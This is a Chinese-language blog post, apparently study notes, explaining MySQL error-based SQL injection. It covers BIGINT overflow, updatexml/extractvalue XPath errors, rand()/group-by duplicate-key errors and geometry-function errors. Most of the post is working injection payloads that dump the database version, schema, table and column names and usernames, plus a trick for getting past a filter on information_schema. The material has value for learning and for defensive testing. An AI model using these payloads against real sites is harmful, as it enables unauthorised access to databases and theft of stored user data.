SQL注入学习之MYSQL报错注入

概念:

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。

MYSQL报错注入分类:

BIGINT等数据类型溢出

xpath语法错误

concat+rand()+group_by()导致主键重复

一些特性

下面就针对这几种错误类型看看背后的原理是怎样的。

BIGINT等数据类型溢出

按位取反~!exp()来溢出报错。

有版本限制,mysql>5.5.53时,则不能返回查询结果。

1
select exp(~(select*from(select user())x));
1
select (select(!x-~0)from(select(select user())x)a);

报错信息是有长度限制的,在mysql/my_error.c中可以看到

xpath报错

通过xml函数进行报错,来进行注入。主要涉及2个函数:

1、updatexml()

2、extractvalue()

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。这就是xpath报错注入的原理

updatexml报错注入

updatexml((XML_document, XPath_string, new_value):

第一个参数:xml文档的名称

第二个参数:xpath格式的字符串

第三个参数:替换查找到的符合条件的数据

注意事项

  • 必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数
  • xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用
  • xpath只会报错32个字符,所以要用到substr

Payload

  • 爆数据库版本
1
updatexml(1,concat(0x7e,version(),0x7e),1)

img

  • 爆所有数据库
1
updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),1,32) from information_schema.schemata)),0x7e)

img

但是报错长度有限制,可以使用limit来偏移

1
updatexml(1,concat(0x7e,(select substr(schema_name,1,32) from information_schema.schemata limit 4,1)),0x7e)

img

  • 爆所有表
1
updatexml(1,concat(0x7e,(select substr(group_concat(table_name),1,32) from information_schema.tables where table_schema=database()),0x7e),1)

img

  • 爆所有列
1
updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,32) from information_schema.columns where table_schema=database()),0x7e),1)

img

  • 爆数据
1
updatexml(1,concat(0x7e,(select substr(group_concat(username),1,32) from users),0x7e),1)

img

Extractvalue报错注入

extractvalue(xml_str , Xpath)
第一个参数意思是传入xml文档,第二个参数xpath意思是传入文档的路径

还是对第二个参数xpath传入特殊字符,让它报错,跟updatexml的payload差不多,只不过一个是3个参数,一个是两个,这里就不详细列出来了

1
extractvalue(1,concat(0x7e,version(),1))

主键重复

1
2
mysql> select count(*) from user group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.1.60-community-log1' for key 'group_key'
1
2
mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '[email protected]' for key 'group_key'

只要是countrand()group by三个连用就会造成这种报错,与位置无关。

函数特性报错

在版本号为5.5.47上可以用来注入,而在5.7.17上则不行

  • geometrycollection()
1
and geometrycollection((select * from(select * from(select user())a)b))-- +
  • multipoint()
1
and multipoint((select * from(select * from(select user())a)b))-- +
  • polygon()
1
and polygon((select * from(select * from(select user())a)b))-- +
  • multipolygon()
1
and multipolygon((select * from(select * from(select user())a)b))-- +
  • linestring()
1
and linestring((select * from(select * from(select user())a)b))-- +
  • multilinestring()
1
and multilinestring((select * from(select * from(select user())a)b))-- +

小tips

过滤information_schema

如果程序过滤information_schema,无法获取表名,利用polygon()进行绕过,括号里填上存在的列名(一般都有id这个列),即可爆出表名

img


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!